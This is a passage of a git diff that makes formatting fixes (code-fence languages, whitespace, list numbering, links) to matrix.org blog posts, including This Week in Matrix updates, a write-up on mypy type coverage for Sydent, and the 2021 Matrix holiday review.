[#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -473,6 +491,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|grimneko.de|5127| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -489,4 +508,3 @@ Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium ## That's all I know 🏁 See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! - diff --git a/content/blog/2021/12/2021-12-17-type-coverage-for-sydent-evaluation.md b/content/blog/2021/12/2021-12-17-type-coverage-for-sydent-evaluation.md index c02205cb8..b2ef3dc4b 100644 --- a/content/blog/2021/12/2021-12-17-type-coverage-for-sydent-evaluation.md +++ b/content/blog/2021/12/2021-12-17-type-coverage-for-sydent-evaluation.md @@ -14,6 +14,7 @@ This is the third in a series of three posts which discuss recent work to improv While the primary goal was to improve Sydent's coverage and robustness, to some extent this was an experiment too. How much could we get out of typing and static analysis, if we _really_ invested in thorough annotations? Sydent is a small project that would make for a good testbed! I decided my goal would be to get Sydent passing mypy under [--strict mode](https://mypy.readthedocs.io/en/stable/command_line.html#cmdoption-mypy-strict). This is a command line option which turns on a number of extra checks (though not everything); it feels similar to passing `-Wall -Wextra -Werror` to `gcc`. It's a little extreme, but Sydent is a small project and this would be a good chance to see how hard it would be. In my view, the most useful options implied by strict mode were as follows. ### [--check-untyped-defs](https://mypy.readthedocs.io/en/stable/command_line.html#cmdoption-mypy-check-untyped-defs) + By default, mypy will only analyze the implementation of functions that are annotated. On the one hand, without annotations for inputs and the return type, it's going to be hard for mypy to thoroughly check the soundness of your function. On the other, it can still do good work with the type information it has from other sources. Mypy can - infer the type of literals, e.g. deducing `x: str` from `x = "hello"`; @@ -72,7 +73,7 @@ It was important to have some way to numerically evaluate our efforts to improve The most obvious metric is the number of total errors reported by mypy. Before the recent sprint, we had roughly 600 errors total. -``` +```txt dmr on titan in sydent on  HEAD (3dde3ad) via 🐍 v3.9.7 (env) 2021-11-08 12:35:37 ✔ $ mypy --strict sydent Found 635 errors in 59 files (checked 78 source files) @@ -98,7 +99,7 @@ The precision for each module is broken down line-by-line and colour-coded accor This reproduces the index page from the `html` report as a plain text file. It's slightly easier to parse—that's how I got the data for the precision line graphs in [part one](https://matrix.org/blog/2021/12/03/type-coverage-for-sydent-motivation) of this series. That was a quick and dirty hack, though; a proper analysis of precision probably ought to read from the json or xml output formats. Here's a truncated sample: -``` +```txt +-----------------------------------+-------------------+----------+ | Module | Imprecision | Lines | +-----------------------------------+-------------------+----------+ @@ -120,7 +121,7 @@ This reproduces the index page from the `html` report as a plain text file. It's Selecting this option generate two reports: `any-exprs.txt` and `types-of-anys.txt`. The latter is interesting to understand where the `Anys` come from, but the former is more useful for quantifying the progress of typing. Another sample: -``` +```txt Name Anys Exprs Coverage ------------------------------------------------- sydent 0 2 100.00% @@ -136,7 +137,7 @@ sydent.config.database 0 8 100.00% The breakdown in `types-of-anys.txt` has more gory detail. I found the "Unimported" column particularly interesting: it lets us see how exposed we are to a lack of typing in our dependencies. -``` +```txt Name Unannotated Explicit Unimported Omitted Generics Error Special Form Implementation Artifact ------------------------------------------------------------------------------------------------------------------------------------------- sydent 0 0 0 0 0 0 0 @@ -156,6 +157,7 @@ sydent.validators.msisdnvalidator 0 8 0 ### The meaning of precision There are two metrics I chose to focus on: + - the proportion of "imprecise" lines across the project; I also used the complement, `precision = 100% - imprecision`, and - the proportion of expressions whose type is not `Any`. @@ -167,7 +169,7 @@ These are plotted in the graph at the top of this writeup. I could see that prec - An expression that has type `Any` leads to precision `ANY`. - I _think_ an expression that [involves `Any` but is not `Any`](https://github.com/python/mypy/blob/2907a4dea939e20ff39ef7d9ff85ae1a199a0ee8/mypy/stats.py#L422-L423) counts as imprecise. For instance, `Dict[str, Any]`. - Remaining expressions have precision `PRECISE`. -5. A line's precision is the worst of all its expressions' precisions. +4. A line's precision is the worst of all its expressions' precisions. - `ANY` is worse than `IMPRECISE`, which is worse than `PRECISE`. The "imprecision" number reported by mypy counts the number of lines [classified as `IMPRECISE` or `ANY`](https://github.com/python/mypy/blob/3bdef9fe6d401f3d2e0cacf4964bd315550c3394/mypy/xml/mypy-txt.xslt#L77-L78). @@ -184,7 +186,6 @@ It's worth highlighting the `typeshed` project, which maintains stubs for the st After the sprint to improve coverage, I spent a short amount of time trying the alternative type checkers out there. Mypy isn't the _only_ typechecker out there—other companies have built and open-sourced their own tools, with different strengths, weaknesses and goals. This is by no means an authoritative, exhaustive survey—just my quick notes. - #### [Pyre](https://pyre-check.org/) (Facebook) - I couldn't work out how to configure paths to resolve import errors; in the end, I wasn't able to process much of Sydent's source code. @@ -198,7 +199,8 @@ After the sprint to improve coverage, I spent a short amount of time trying the - Didn't seem to recognise `getLogger` as being imported from `logging`. Not sure what happened there—maybe something wrong with its bundled version of `typeshed`? - In a few places, Sydent uses `urllib.parse.quote` but only imports `urllib`. We must be unintentionally relying on our dependencies to `import urllib.parse` somewhere! Mypy didn't complain about this; pyright did. - Seemed to give a better explanations of why complex types were incompatible. For example: - ``` + + ```txt /home/dmr/workspace/sydent/sydent/replication/pusher.py /home/dmr/workspace/sydent/sydent/replication/pusher.py:77:16 - error: Expression of type "DeferredList" cannot be assigned to return type "Deferred[List[Tuple[bool, None]]]" TypeVar "_DeferredResultT@Deferred" is contravariant @@ -212,22 +214,25 @@ After the sprint to improve coverage, I spent a short amount of time trying the Type "_KT@dict" is incompatible with constrained type variable "AnyStr" Type cannot be assigned to type "None" (reportGeneralTypeIssues) ``` + This would have been really helpful when interpreting mypy's error reports; I'd love to see something like it in mypy. Here's another example where I tried running against a Synapse file. - ``` + + ```txt /home/dmr/workspace/synapse/synapse/storage/databases/main/cache.py /home/dmr/workspace/synapse/synapse/storage/databases/main/cache.py:103:53 - error: Expression of type "list[tuple[Unknown, Tuple[Unknown, ...]]]" cannot be assigned to declared type "List[Tuple[int, _CacheData]]"   TypeVar "_T@list" is invariant     Tuple entry 2 is incorrect type       Tuple size mismatch; expected 3 but received indeterminate number (reportGeneralTypeIssues) ``` + This is really valuable information. It's worth considering Pyright as an option to get a second opinion! - It looks like Pyright's name for `Any` is `Unknown`. I think that does a better job of emphasising that `Unknown` won't be type checked. I'd certainly be more reluctant to type `x: Unknown` versus `x: Any`! - Pyright is the machinery behind [Pylance](https://github.com/microsoft/pylance-release), which drives [VS Code's Python extension](https://marketplace.visualstudio.com/items?itemName=ms-python.vscode-pylance). That alone probably makes it worthy of more eyes. - Seemed like it was the best-placed alternative typechecker to challenge mypy (the de-facto standard). - #### [Pytype](https://github.com/google/pytype) (Google) + - Google internal? Seems to be maintained by one person semiregularly by "syncing" from Google. - Apparently contains a script [merge-pyi](https://github.com/google/pytype/tree/master/pytype/tools/merge_pyi) to annotate a source file given a stub file. - No support for TypedDict: as soon as it saw one in Sydent, it stopped all analysis. @@ -262,9 +267,9 @@ Looking forward, I think we'd get a quick gain from ensuring that our smaller li I'd say the biggest outstanding hole is our processing of JSON objects. There's too much `Dict[str, Any]` flying around. The ideal for me would be to define `dataclass` or `attr.s` class `C`, and be able to deserialise a JSON object to `C`, including automatic (deep) type checking. [Pydantic](https://pydantic-docs.helpmanual.io/) sounds really close to what we want, but I'm told it will by default gladly interpret the json string `"42"` as the Python integer `42`, which isn't what we'd like. More investigation needed there. There are other avenues to explore too, like [jsonschema-typed](https://github.com/erickpeirson/jsonschema-typed), [typedload](https://pypi.org/project/typedload/) or [attrs-strict](https://github.com/bloomberg/attrs-strict). -To end, I'd like to add a few personal thoughts. Having types available in the source code is definitely A Good Thing. But there is a part of me that wonders if it might have been worth writing our projects in a language which incorporates types from day one. There are always trade-offs, of course: runtime performance, build times, iteration speed, ease of onboarding new contributors, ease of deployment, availability of libraries, ability to shoot yourself in the foot... the list goes on. +To end, I'd like to add a few personal thoughts. Having types available in the source code is definitely A Good Thing. But there is a part of me that wonders if it might have been worth writing our projects in a language which incorporates types from day one. There are always trade-offs, of course: runtime performance, build times, iteration speed, ease of onboarding new contributors, ease of deployment, availability of libraries, ability to shoot yourself in the foot... the list goes on. -On a more upbeat note, adding typing is a great way to get familiar with new source code. It involves a mixture of reading, cross-referencing, deduction, analysis, all across a wide variety of files. It'd be a _lot_ easier to type as you write from the get-go, but typing after the fact is still a worthy use of time and effort. +On a more upbeat note, adding typing is a great way to get familiar with new source code. It involves a mixture of reading, cross-referencing, deduction, analysis, all across a wide variety of files. It'd be a _lot_ easier to type as you write from the get-go, but typing after the fact is still a worthy use of time and effort. ---- diff --git a/content/blog/2021/12/2021-12-22-the-mega-matrix-holiday-special-2021.md b/content/blog/2021/12/2021-12-22-the-mega-matrix-holiday-special-2021.md index 2253bc1ae..8ef01b5fc 100644 --- a/content/blog/2021/12/2021-12-22-the-mega-matrix-holiday-special-2021.md +++ b/content/blog/2021/12/2021-12-22-the-mega-matrix-holiday-special-2021.md @@ -44,10 +44,8 @@ Aside from the new spec site, we also released our first official point release Talking of which, in 2021 we saw a record **109** Matrix Spec Change proposals (MSCs) created. Even better, we closed **62** MSCs - so while the backlog is still growing, we’re still making very concrete progress. Of the 109 new MSCs: 34 were from the wider Matrix community, 34 were from ex-community contributors who are now part of the core team, 13 were from the founding Matrix team, and 28 were from folks hired to work on Matrix by Element on behalf of the Matrix.org Foundation. This feels like a pretty healthy blend of contributions, and while it’s true that spec work could always progress faster, things do seem to be heading in the right direction. - ![The latest MSC stats](/blog/img/2021-12-22-spec.png) - In the new year, the Spec Core Team (responsible for reviewing MSCs and voting on what gets merged to the spec) is going to make a concerted effort to carve out more dedicated time for spec work - thankfully one of the side-effects of Matrix growing is that there are now a lot more people around with whom we can share other work, hopefully meaning that we can put significantly more hours into keeping the spec growing healthily. ## Synapse @@ -60,7 +58,6 @@ Further signs of maturity include Synapse’s radically improved new [documentat Meanwhile, on the feature side, we’ve landed a huge spate of long-awaited core functionality. Probably the best way to track it is by the Matrix Spec Change proposals (MSCs) which have been implemented (although I dare you to also go and check out Synapse’s [changelog](https://github.com/matrix-org/synapse/blob/develop/CHANGES.md), all 675KB of it, which is frankly a thing of beauty and will take you down a rabbithole all the way back to v0.0.0 in Aug 2014 if you so desire ;P). Major MSCs which we’ve landed include: - * Spaces! It’s hard to overstate how positive this has been for Matrix’s usability: at last, we can group our rooms together however we please, both for our own edification and to share with others - and we can view space hierarchies over federation, complete with pagination ([MSC2946](https://github.com/matrix-org/matrix-doc/pull/2946)) as well as specify who can join a room based on whether they’re a member of a given space/room ([MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083)). * Threads! Yes, that’s right - coming any day now to a Matrix client close to you, we have ‘classic’ threaded messaging landing, providing sidebars of conversation through the new m.thread relation type ([MSC3440](https://github.com/matrix-org/matrix-doc/pull/3440)), building on Matrix’s existing aggregation API as used for edits and reactions. We’ve chosen to prioritise single-level-deep-threads rather than arbitrarily-deep-trees ([MSC2836](https://github.com/matrix-org/matrix-doc/pull/2836)) as it maps more easily to a chat UX, although the two approaches are not mutually exclusive. * Aggregations! Everyone’s favourite bête noire in Matrix tends to be that aggregations for edits & reactions predate today’s Matrix Spec Change process and went mainstream without using a vendor prefix before their spec had been stabilised. Better late than never, we’ve taken advantage of Threads to go back and fix what once went wrong - and now [MSC2674](https://github.com/matrix-org/matrix-doc/pull/2674) and [MSC2675](https://github.com/matrix-org/matrix-doc/pull/2675) and friends are hopefully on a much better track to provide a basis for how aggregations work - both in the spec and in the reference implementation in Synapse. @@ -85,15 +82,13 @@ More recently, there’s also been a major shift towards structured [user testin The [Element blog](https://element.io/blog/) covers the work this year from the Element side, but from the Matrix side, the key changes include: - - * finalising [Spaces](https://element.io/blog/spaces-blast-out-of-beta/) as a way to group together rooms - providing the equivalent of Discord servers or Slack workspaces, or alternatively letting you gather your own rooms together into a private space. * building out Threads (available in labs; launching soon!) * Social Login! * radically improving Element’s Information Architecture (i.e. the layout of the UI, so that the panels and buttons are correctly semantically grouped together in a visual hierarchy) * adding [Voice Messages](https://element.io/blog/introducing-voice-messages-and-so-much-more/) as a really beautiful polished feature powered by [MSC3245](https://github.com/matrix-org/matrix-doc/pull/3245) * adding Location Share (available in labs; launching soon!) powered by [MSC3488](https://github.com/matrix-org/matrix-doc/pull/3488) (and in future [MSC3489](https://github.com/matrix-org/matrix-doc/pull/3489) for live-location sharing - in dev on iOS right now!) -* adding [Chat Export](https://element.io/blog/element-1-9-1-export-is-finally-here/), thanks to the amazing GSOC work by Jaiwanth +* adding [Chat Export](https://element.io/blog/element-1-9-1-export-is-finally-here/), thanks to the amazing GSOC work by Jaiwanth * adding Polls via [MSC3381](https://github.com/matrix-org/matrix-doc/pull/3381). ![Spaces in all their glory](/blog/img/2021-12-22-spaces.gif) @@ -207,7 +202,7 @@ Otherwise, the team has had three big projects: adding matrix-rust-sdk-crypto in [Vodozemac](https://github.com/matrix-org/vodozemac) (pronounced roughly vod-oz-eh-matz) is an entirely new implementation of our Olm and Megolm end-to-end encryption system, written from scratch in pure Rust, aiming to replace the original reference C/C++11 implementation in [libolm](https://gitlab.matrix.org/matrix-org/olm). Originally written as an [experiment for matrix-rust-sdk](https://github.com/matrix-org/matrix-rust-sdk/compare/vodozemac-bench) at the beginning of the year, in the last week it’s received a [huge explosion of attention](https://github.com/matrix-org/vodozemac/graphs/contributors) from poljar and dkasak to bring it up to production quality… for we decided that if we are doing a full E2EE audit for Matrix, we should target the new and future codebase rather than burn money on re-auditing the legacy libolm library (much as the [original 2016 review of libolm](https://matrix.org/blog/2016/11/21/matrixs-olm-end-to-end-encryption-security-assessment-released-and-implemented-cross-platform-on-riot-at-last) happened when the library was fresh and new). -The motivation for vodozemac in general is to benefit from the intrinsic type and memory safety and fearless parallelism provided by Rust - and also maintain full type & memory safety throughout the matrix-rust-sdk stack, including encryption. Over the last year we’ve been taking[ more and more of a careful look at libolm](https://matrix.org/blog/2021/06/14/adventures-in-fuzzing-libolm), and despite our best efforts a [few](https://matrix.org/blog/2021/12/13/disclosure-buffer-overflow-in-libolm-and-matrix-js-sdk) memory management bugs have crept in - which vodozemac should be immune to. Vodozemac will solve another embarrassing problem with libolm: that its default cryptography primitives are designed for correctness rather than performance or safety. By switching to Rust’s ed25519-dalek and rustCrypto AES primitives we should be in a much better position in terms of performance and safety. +The motivation for vodozemac in general is to benefit from the intrinsic type and memory safety and fearless parallelism provided by Rust - and also maintain full type & memory safety throughout the matrix-rust-sdk stack, including encryption. Over the last year we’ve been taking[more and more of a careful look at libolm](https://matrix.org/blog/2021/06/14/adventures-in-fuzzing-libolm), and despite our best efforts a [few](https://matrix.org/blog/2021/12/13/disclosure-buffer-overflow-in-libolm-and-matrix-js-sdk) memory management bugs have crept in - which vodozemac should be immune to. Vodozemac will solve another embarrassing problem with libolm: that its default cryptography primitives are designed for correctness rather than performance or safety. By switching to Rust’s ed25519-dalek and rustCrypto AES primitives we should be in a much better position in terms of performance and safety. Next up, we’ll be fully integrating vodozemac into matrix-rust-sdk, and figuring out how best to provide it as a libolm replacement in general. @@ -225,8 +220,6 @@ We’ll have more updates on this in the coming year as we release the tools we A new project brewing throughout 2021 has been the investigation into replacing the entirety of Matrix’s authentication APIs with industry standard OpenID Connect. Spearheaded by Quentin, this has proved to be a fascinating and challenging endeavour, but we’re starting to see some really interesting results. The problem we’re trying to solve here is: - - * As Matrix grows, we’re seeing more and more clients and services appearing which you might want to log into with your Matrix account. But do you really want to trust each app with your account password? And what if you only want to give it access to a small subset of your account? * Similarly, we’re seeing more and more login mechanisms used to access Matrix - it’s no longer just a matter just a username + password; many servers use single-sign-on (e.g. mozilla.org) or social login (fosdem.org, matrix.org), or layer on 2FA or MFA hardware tokens and similar to access their accounts via an SSO provider. We also see passwordless login on the horizon. @@ -282,15 +275,12 @@ Meanwhile, if you’re in a web browser, you might hop into a lightweight single Perhaps the vision of Matrix as the missing communication layer of the open Web is more literal than we ever thought. Eitherway, it will be fascinating to see how Applications Beyond Chat evolves over the next year. - ## 2022 Now, I dare you to cross-reference all of the above with [last year’s predictions for 2021](https://matrix.org/blog/2020/12/25/the-matrix-holiday-special-2020#2021) to see how we did :D In practice, the only things from the list we haven’t got to are peeking-over-federation (although arguably fast joins are a key part of that), account portability, and restoring incremental sign-up (although our new clients have it!). So, here go the predictions for 2022 (keeping it short, otherwise it’ll be 2023 before this blog post gets finished…): - - * **Client polish and performance** - our prime directive is to ensure that Matrix clients can be built with UX polish and quality which exceeds our centralised alternatives. In practice, this means: * **Element must spark joy**. Ensuring Element’s Information Architecture continues to be simplified and refined, and that *nobody* who knows how to use a computer hits a WTF moment when first using the app. Never again do we want to see someone on Twitter saying “I have no idea how to use Matrix”. * **Instant launch**. With Sync v3 and matrix-rust-sdk we hope to make Element launch instantly on all platforms - including initial sync. @@ -299,9 +289,9 @@ So, here go the predictions for 2022 (keeping it short, otherwise it’ll be 202 * **Flair** - Users who are members of a space should be able to announce it loud and proud with a Flair badge on their avatar, like we used to with the old pre-spaces Communities feature ([MSC3219](https://github.com/matrix-org/matrix-doc/pull/3219) being the potential proposal). * **Synchronising access controls** - You should be able to apply access controls based on whether a user is a member of a given group (so that if you invite them to #moderators:example.com, they automatically get made moderator in all the rooms in a given space). It looks likely that this will be implemented at last using joepie91’s [MSC3216](https://github.com/matrix-org/matrix-doc/pull/3216) proposal for Synchronized access control for Spaces (rather than Matthew’s original [MSC2962](https://github.com/matrix-org/matrix-doc/pull/2962) - an excellent example of the community steering the spec process :) * **Bulk joins** - It should be a one-button operation to join all the rooms in a space. - * **Subspaces **- as more and more spaces emerge, the ability to navigate them as a hierarchy becomes more and more useful. We want to get to the point where we can turn off the Matrix.org public rooms list, and instead present a Space tree of all the good rooms we know about in Matrix… delegating over curation to the wider community; building a huge USENET-style hierarchy of where to go in Matrix. To do that, we need subspaces to sing! + * **Subspaces**- as more and more spaces emerge, the ability to navigate them as a hierarchy becomes more and more useful. We want to get to the point where we can turn off the Matrix.org public rooms list, and instead present a Space tree of all the good rooms we know about in Matrix… delegating over curation to the wider community; building a huge USENET-style hierarchy of where to go in Matrix. To do that, we need subspaces to sing! * **Removing communities/groups**, which will then be entirely superseded by spaces. - * **Threads **go-live! + * **Threads**go-live! * **Location share** go-live * **Pinned messages**, so the most important messages are always visible to everyone n the room * **Starred messages**, so you never lose a message ever again @@ -312,13 +302,13 @@ So, here go the predictions for 2022 (keeping it short, otherwise it’ll be 202 * …and experiment to see how matrix-rust-sdk feels on Web? It’s a real shame that [Daydream](https://github.com/daydream-mx/Daydream) got archived… * **Encryption** * **Vodozemac** in matrix-rust-sdk, maybe even elsewhere. - * **Updated E2EE Audit **spanning vodozemac, olm+megolm, matrix-rust-sdk… and a representative sample of a typical Element+Synapse deployment. + * **Updated E2EE Audit**spanning vodozemac, olm+megolm, matrix-rust-sdk… and a representative sample of a typical Element+Synapse deployment. * **DMLS** - getting to the point where we can experiment with it in real clients. * **Encryption Agility** - the ability to [migrate encrypted history](https://github.com/matrix-org/matrix-doc/issues/3516) is going to become really important as we evolve our E2EE, whether that’s by adding in post-quantum algorithms, or moving from Megolm to MLS, or any other shifts. We will need to start thinking about it in 2022. * **Next-generation MSCs** * **Aggregations** - finalising the foundational MSCs for aggregations, at last * **Extensible events** - finalising the foundational MSCs for extensible events, at last - * **Sync v3 **- finalising the MSC and implementing it in matrix-rust-sdk + * **Sync v3**- finalising the MSC and implementing it in matrix-rust-sdk * **Fast joins** - getting them implemented in Synapse and Dendrite * **Peeking over federation** - getting them implemented in Synapse and Dendrite * **Extensible profiles** - who needs a facebook wall when you have a profile room on Matrix? @@ -328,18 +318,18 @@ So, here go the predictions for 2022 (keeping it short, otherwise it’ll be 202 * **Implementing excellent public static Matrix archives** (replacing both view.matrix.org and gitter.im’s static views) * **Transfiguring Gitter into a Gitter-themed Element** * **Dendrite** - * **Parity with Synapse **- and out of beta, with any luck! + * **Parity with Synapse**- and out of beta, with any luck! * **P2P Matrix** * **Exposing the normal Matrix network via P2P!** * **Multihomed accounts** * **Store and forward** (if only by relaying via other P2P Matrix nodes) - * **Low bandwidth transports **- via PineCoAP or similar + * **Low bandwidth transports**- via PineCoAP or similar * **Making federation robust in a highly disconnected network.** * **Hydrogen** - * **Daily Driver **- making sure that Hydrogen can be readily used as a daily driver Matrix client, even if it lacks full parity with Element. - * **Embeddable Hydrogen **- making the most of Hydrogen as a tiny lightweight PWA to embed it into existing websites. + * **Daily Driver**- making sure that Hydrogen can be readily used as a daily driver Matrix client, even if it lacks full parity with Element. + * **Embeddable Hydrogen**- making the most of Hydrogen as a tiny lightweight PWA to embed it into existing websites. * **Bots and Bridges** - * **Landing End-to-Bridge-Encryption **for all existing matrix-appservice-bridge based bridges + * **Landing End-to-Bridge-Encryption**for all existing matrix-appservice-bridge based bridges * **All the integrations!** * **First-class UI for configuring integrations!** * **Trust & Safety** @@ -351,8 +341,8 @@ So, here go the predictions for 2022 (keeping it short, otherwise it’ll be 202 * **Border gateways** * Something we didn’t mention in 2021 is the increasing interest in building border gateways and hardware cross domain gateways to safely link different Matrix federations together. We expect to see a lot of activity in this space in 2022, and there should be some new MSCs too :) * **Beyond Chat** - * **Metaverse on Matrix **- building out the dream as per above! - * **Collaborative editing **- extending Matrix to store trees of events, and collaborate on them in realtime - starting with a collaborative editor! + * **Metaverse on Matrix**- building out the dream as per above! + * **Collaborative editing**- extending Matrix to store trees of events, and collaborate on them in realtime - starting with a collaborative editor! * **File storage in Matrix** - building out real-life file storage on top of Matrix. So, there you have it. If you’ve got this far… it’s incredible; you’re amazing: thank you for reading! The sheer length of this update shows just how much Matrix has grown in 2021 relative to previous years; it’s frankly terrifying to imagine how long the equivalent post will be next year. We may have to change the format a little :) diff --git a/content/blog/2022/01/2022-01-07-this-week-in-matrix-2022-01-07.md b/content/blog/2022/01/2022-01-07-this-week-in-matrix-2022-01-07.md index 57695f547..703ed4401 100644 --- a/content/blog/2022/01/2022-01-07-this-week-in-matrix-2022-01-07.md +++ b/content/blog/2022/01/2022-01-07-this-week-in-matrix-2022-01-07.md @@ -27,15 +27,16 @@ This week in Matrix should be called Three Weeks in Matrix, since there hasn't b [TravisR](https://matrix.to/#/@travis:t2l.io) says > *Your regular spec person, anoa, is out today so you're stuck with me, not-anoa. This time I got the script to work though 😇* -> -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > *Note*: This is for the last 3 weeks given TWIM holiday :) -> +> > **Merged MSCs:** +> > * [MSC3550: Allow HTTP 403 as a response to profile lookups](https://github.com/matrix-org/matrix-doc/pull/3550) > * [MSC3442: Move the prev_content key to unsigned](https://github.com/matrix-org/matrix-doc/pull/3442) > * [MSC3419: Allow guests to send more event types](https://github.com/matrix-org/matrix-doc/pull/3419) @@ -47,11 +48,13 @@ This week in Matrix should be called Three Weeks in Matrix, since there hasn't b > * [MSC2758: Proposal for common identifier grammar](https://github.com/matrix-org/matrix-doc/pull/2758) > * [MSC2732: Olm fallback keys](https://github.com/matrix-org/matrix-doc/pull/2732) > * [MSC2312: Matrix URI scheme proposal](https://github.com/matrix-org/matrix-doc/pull/2312) -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **New MSCs:** +> > * [MSC3618: Add proposal to simplify federation /send response](https://github.com/matrix-org/matrix-doc/pull/3618) > * [MSC3613: Combinatorial join rules](https://github.com/matrix-org/matrix-doc/pull/3613) > * [[WIP: Not ready for review/impl] MSC3604: Room Version 10](https://github.com/matrix-org/matrix-doc/pull/3604) @@ -62,27 +65,30 @@ This week in Matrix should be called Three Weeks in Matrix, since there hasn't b > * [MSC3582: Remove m.room.message.feedback](https://github.com/matrix-org/matrix-doc/pull/3582) > * [MSC3575 Sliding Sync (aka Sync v3)](https://github.com/matrix-org/matrix-doc/pull/3575) > * [MSC3574: Marking up resources](https://github.com/matrix-org/matrix-doc/pull/3574) -> +> > **Closed MSCs:** > *Sadly, not every MSC makes it to the end.* +> > * [MSC3585: Allow the base event to be omitted from /federation/v1/event_auth response](https://github.com/matrix-org/matrix-doc/pull/3585) > * [MSC2516: Add a new message type for voice messages](https://github.com/matrix-org/matrix-doc/pull/2516) -> +> > ## Spec Core Team +> > In terms of Spec Core Team MSC focus for ~~this week~~ the last little bit, we've been working on getting MSCs merged into the formal spec itself in preparation for v1.2 this quarter. We expect the release to happen quite soon and to contain [Spaces](https://github.com/matrix-org/matrix-doc/pull/3610), [room versions 8 and 9](https://github.com/matrix-org/matrix-doc/pull/3387), and [refresh tokens](https://github.com/matrix-org/matrix-doc/pull/2918) (no spec PR yet) in addition to all the other wonderful stuff which has landed. -> +> > The merged MSCs can be seen over at [https://spec.matrix.org/unstable/](https://spec.matrix.org/unstable/) where they're queued up for the next release. Look out for `Added in v1.2` labels throughout the spec, denoting what is new and exciting. -> +> > ## Random MSC of the week -> +> > The random MSC this week is [MSC2192: Inline widgets](https://github.com/matrix-org/matrix-doc/pull/2192) (I promise it was random, after a few re-rolls). Inline widgets are a concept that allows for rich functionality in the timeline without needing to necessarily specify an explicit event type. For example, video embeds, minigames, etc could all be represented by inline widgets instead of dedicated event types. -> -> The MSC needs updating to handle [MSC1767: Extensible Events](https://github.com/matrix-org/matrix-doc/pull/1767) (and friends), but once there it could be a very powerful bit of functionality, with free fallback thanks to Extensible Events. -> +> +> The MSC needs updating to handle [MSC1767: Extensible Events](https://github.com/matrix-org/matrix-doc/pull/1767) (and friends), but once there it could be a very powerful bit of functionality, with free fallback thanks to Extensible Events. +> > ## The graph -> +> > Here's a stacked graph of MSC progress: -> +> +> > ![](/blog/img/732a07fb40babb01f102bf5bc700fa046457aa45.png) [Kegan](https://matrix.to/#/@kegan:matrix.org) announces @@ -98,9 +104,9 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) announces > We're back! New year, new release candidate: we published [Synapse 1.50.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.50.0rc1) today, marking the end of life for our Python 3.6 and PostgreSQL 9.6 support. We've also extracted some shared utilities into their own package, [matrix-common](https://pypi.org/project/matrix-common/), which is used by Synapse, Sygnal, and Sydent. -> +> > We'll talk more about what's in 1.50 next week when it formally releases. -> +> > The Synapse team is expecting to spend most of January on behind-the-scenes work as we gear up to virtually host FOSDEM again! Members of the team will be presenting two talks this year: Shay on [Events for the Uninitiated](https://fosdem.org/2022/schedule/event/matrix_events_uninitiatied/), and Brendan on [Beyond the Matrix: Extend the capabilities of your Synapse homeserver](https://fosdem.org/2022/schedule/event/matrix_extend_synapse/). Check out the full devroom schedule [here](https://fosdem.org/2022/schedule/track/matrixorg_foundation_and_community/). ### matrix-media-repo ([website](https://github.com/turt2live/matrix-media-repo)) @@ -128,9 +134,9 @@ Helm Chart to deploy Dendrite on Kubernetes [jonnobrow](https://matrix.to/#/@gh-jonnobrow:matrix.org) reports > The first iteration of a Dendrite Helm Chart has been released under the [k8s-at-home charts repository](https://github.com/k8s-at-home/charts). It currently supports a full monolithic deployment and requires minimal configuration to get up and running (just need to generate a matrix key and mount it as per the instructions). -> +> > If polylith is your thing then I recommend [the chart by S7evinK](https://github.com/S7evinK/dendrite-helm) for now, although it is likely these charts will merge in the future. -> +> > The chart and documentation are available here: [https://github.com/k8s-at-home/charts/tree/master/charts/incubator/dendrite](https://github.com/k8s-at-home/charts/tree/master/charts/incubator/dendrite) ## Dept of Bridges 🌉 @@ -143,20 +149,22 @@ An add-on for the matrix-appservice-webhooks bridge. Webhooks are essentially we > [matrix-webhook-receiver](https://github.com/HarHarLinks/matrix-webhook-receiver) has hit 1.1.0! > Give feedback or talk to us about it over in [#matrix-webhook-receiver:matrix.org](https://matrix.to/#/#matrix-webhook-receiver:matrix.org)! 🙂 -> +> > ### Features +> > * [Advanced Templating](https://github.com/HarHarLinks/matrix-webhook-receiver#advanced-templating)! It is now possible to set `format` and `msgtype` based on arbitrary values from the webhook JSON via Jinja2. Shoutout to **qg** for suggesting this and giving their feedback! > * compatibility with matrix-appservice-webhooks forks that read `avatarUrl` instead of `avatar_url` > * allow mxc:// URL avatars > * improvements to the GUI, including automatically resizing text areas and msc:// avatar URL preview > * improvements to templates/examples including making use of above features > * more documentation, including [Tips & Tricks](https://github.com/HarHarLinks/matrix-webhook-receiver#tips--tricks) and [Related Projects](https://github.com/HarHarLinks/matrix-webhook-receiver#related-projects) -> +> > ### Notable Fixes +> > * ability to properly set no avatar > * work around [upstream's newline issue](https://github.com/turt2live/matrix-appservice-webhooks/issues/97) when not using a template -> -> **Full Changelog**: https://github.com/HarHarLinks/matrix-webhook-receiver/compare/1.0.0...1.1.0 +> +> **Full Changelog**: ### matrix-hookshot ([website](https://github.com/Half-Shot/matrix-hookshot)) @@ -165,29 +173,30 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) says > Howdy folks, it is the time of the year where everyone scarpers! Anyway, perfect time to announce that **matrix-hookshot has gotten it's first major release!**. 1.0.0 is here! -> +> > For those not in the know, the hookshot bridge is used to bridge GitHub, GitLab, JIRA and Generic Webhooks into Matrix rooms. It doesn't just bridge into existing rooms, but can also spawn dynamic rooms based 